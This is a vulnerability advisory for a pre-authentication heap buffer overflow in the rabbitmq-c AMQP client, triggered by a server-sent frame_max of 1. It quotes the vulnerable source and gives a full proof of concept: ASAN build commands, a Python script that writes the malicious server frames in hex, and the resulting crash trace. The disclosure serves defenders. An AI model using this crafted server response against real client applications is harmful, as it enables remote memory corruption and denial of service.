GHSA-jh48-qjf5-fx5v on CTRL-OS 26.05
Aliases: GHSA-jh48-qjf5-fx5v
Packages: rabbitmq-c
Status: Plausible
Advisory Information
Summary
A malicious AMQP server can trigger a heap buffer overflow in a rabbitmq-c client during the normal
amqp_login()handshake.The server sends a
connection.tuneframe with an invalid smallframe_maxvalue, such as1. rabbitmq-c accepts this value, reallocates its outbound frame buffer to 1 byte, then immediately serializes aconnection.tune-okresponse into that buffer. This writes past the heap allocation.The issue is remotely triggerable by a server the victim client connects to, or by an on-path attacker against plaintext AMQP traffic. The practical impact is client-side memory corruption and likely denial of service. Code execution is possible in theory but not demonstrated.
Details
In
amqp_login_inner()inlibrabbitmq/amqp_socket.c, rabbitmq-c accepts the server-providedframe_maxif it is smaller than the client's requested value:if (server_frame_max != 0 && server_frame_max < client_frame_max) { client_frame_max = server_frame_max; }The value is then passed to
amqp_tune_connection():res = amqp_tune_connection(state, client_channel_max, client_frame_max, client_heartbeat);In
librabbitmq/amqp_connection.c,amqp_tune_connection()usesframe_maxdirectly as the outbound buffer size:state->outbound_buffer.len = frame_max; newbuf = realloc(state->outbound_buffer.bytes, frame_max);There is no minimum size check. If the server sends
frame_max = 1, the outbound buffer becomes 1 byte.The client then sends
connection.tune-ok:res = amqp_send_method_inner(state, 0, AMQP_CONNECTION_TUNE_OK_METHOD, &s, AMQP_SF_NONE, deadline);This reaches
amqp_frame_to_bytes(), which writes the AMQP frame header into the outbound buffer:amqp_e8(frame->frame_type, amqp_offset(out_frame, 0)); amqp_e16(frame->channel, amqp_offset(out_frame, 1));With a 1-byte buffer, the 2-byte write at offset 1 overflows the heap allocation.
rabbitmq-c documents the minimum AMQP frame size as 4096 bytes (
AMQP_FRAME_MIN_SIZE). The server-controlledframe_maxshould be rejected or clamped if it is below that value.PoC
Tested against rabbitmq-c commit:
8b7471eab8d09536b3c104dbb30a65699cf48104Build rabbitmq-c with ASAN and the existing
fuzz_serverharness:git clone https://github.com/alanxz/rabbitmq-c.git /tmp/rabbitmq-c-src cd /tmp/rabbitmq-c-src git checkout 8b7471eab8d09536b3c104dbb30a65699cf48104 cmake -S . -B build-asan \ -DCMAKE_C_COMPILER=clang \ -DCMAKE_C_FLAGS="-g -O1 -fno-omit-frame-pointer -fsanitize=address,undefined -fsanitize=fuzzer-no-link" \ -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined" \ -DBUILD_STATIC_LIBS=ON \ -DBUILD_SHARED_LIBS=OFF \ -DBUILD_OSSFUZZ=OFF \ -DBUILD_EXAMPLES=OFF \ -DBUILD_TOOLS=OFF \ -DENABLE_SSL_SUPPORT=OFF cmake --build build-asan -j"$(nproc)" clang -g -O1 -fno-omit-frame-pointer \ -fsanitize=address,undefined,fuzzer \ -DHAVE_CONFIG_H -DAMQP_STATIC \ -I include -I build-asan/include \ -I librabbitmq -I build-asan/librabbitmq \ fuzz/fuzz_server.c build-asan/librabbitmq/librabbitmq.a \ -lpthread -lrt \ -o build-asan/fuzz_serverCreate the malicious AMQP server response stream:
python3 - <<'PY' from pathlib import Path poc = bytes.fromhex( "01 00 00 00 00 00 1c" "00 0a 00 0a" "00 09" "00 00 00 00" "00 00 00 05 50 4c 41 49 4e" "00 00 00 05 65 6e 5f 55 53" "ce" "01 00 00 00 00 00 0c" "00 0a 00 1e" "00 00" "00 00 00 01" "00 00" "ce" ) Path("/tmp/rabbitmq-c-frame-max-poc.bin").write_bytes(poc) PYRun the PoC:
ASAN_OPTIONS="detect_leaks=0:halt_on_error=1:print_stacktrace=1" \ ./build-asan/fuzz_server /tmp/rabbitmq-c-frame-max-poc.binExpected result:
==2445162==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x71826b1e0051 at pc 0x5fd54ef9476b bp 0x7ffe3ce43060 sp 0x7ffe3ce43058 WRITE of size 2 at 0x71826b1e0051 thread T0 #0 0x5fd54ef9476a in amqp_e16 /tmp/rabbitmq-c-src/librabbitmq/amqp_private.h:227:3 #1 0x5fd54efc2686 in amqp_frame_to_bytes /tmp/rabbitmq-c-src/librabbitmq/amqp_connection.c:438:3 #2 0x5fd54efc1404 in amqp_send_frame_inner /tmp/rabbitmq-c-src/librabbitmq/amqp_connection.c:525:9 #3 0x5fd54ef8ade4 in amqp_send_method_inner /tmp/rabbitmq-c-src/librabbitmq/amqp_socket.c:996:10 #4 0x5fd54ef8a9cc in amqp_login_inner /tmp/rabbitmq-c-src/librabbitmq/amqp_socket.c:1396:11 #5 0x5fd54ee86a2f in amqp_login /tmp/rabbitmq-c-src/librabbitmq/amqp_socket.c:1444:9 #6 0x5fd54ee6e663 in client /tmp/rabbitmq-c-src/fuzz/fuzz_server.c:149:3 #7 0x5fd54ee74921 in LLVMFuzzerTestOneInput /tmp/rabbitmq-c-src/fuzz/fuzz_server.c:117:3The allocation trace shows the outbound buffer was resized to 1 byte in
amqp_tune_connection()before the overflow.Impact
This is a remotely triggerable heap buffer overflow in rabbitmq-c clients and an attacker can trigger it before authentication by operating a malicious AMQP server and waiting for a victim application to connect. An on-path attacker can also trigger it when the victim uses plaintext AMQP.
Impacted users are applications that use rabbitmq-c to connect to AMQP servers. The most realistic impact is client-side denial of service or process abort under hardened allocators/sanitizers. The bug is memory corruption, so code execution may be possible depending on allocator behavior and heap layout, but this was not demonstrated.
Background of that issue This bug was found as a part of an Anthropic research into the use of large language models for automated vulnerability discovery in open source software. Anthropic then engaged Trail of Bits to independently triage and validate those issues.
Updates
2026-07-27 20:27 CEST
Metadata changes:
- Status for package
rabbitmq-c: “Plausible”
(Amended on: 2026-07-27 23:17 CEST)
2026-07-27 20:26 CEST
Metadata changes:
- Status for package
rabbitmq-c: “New”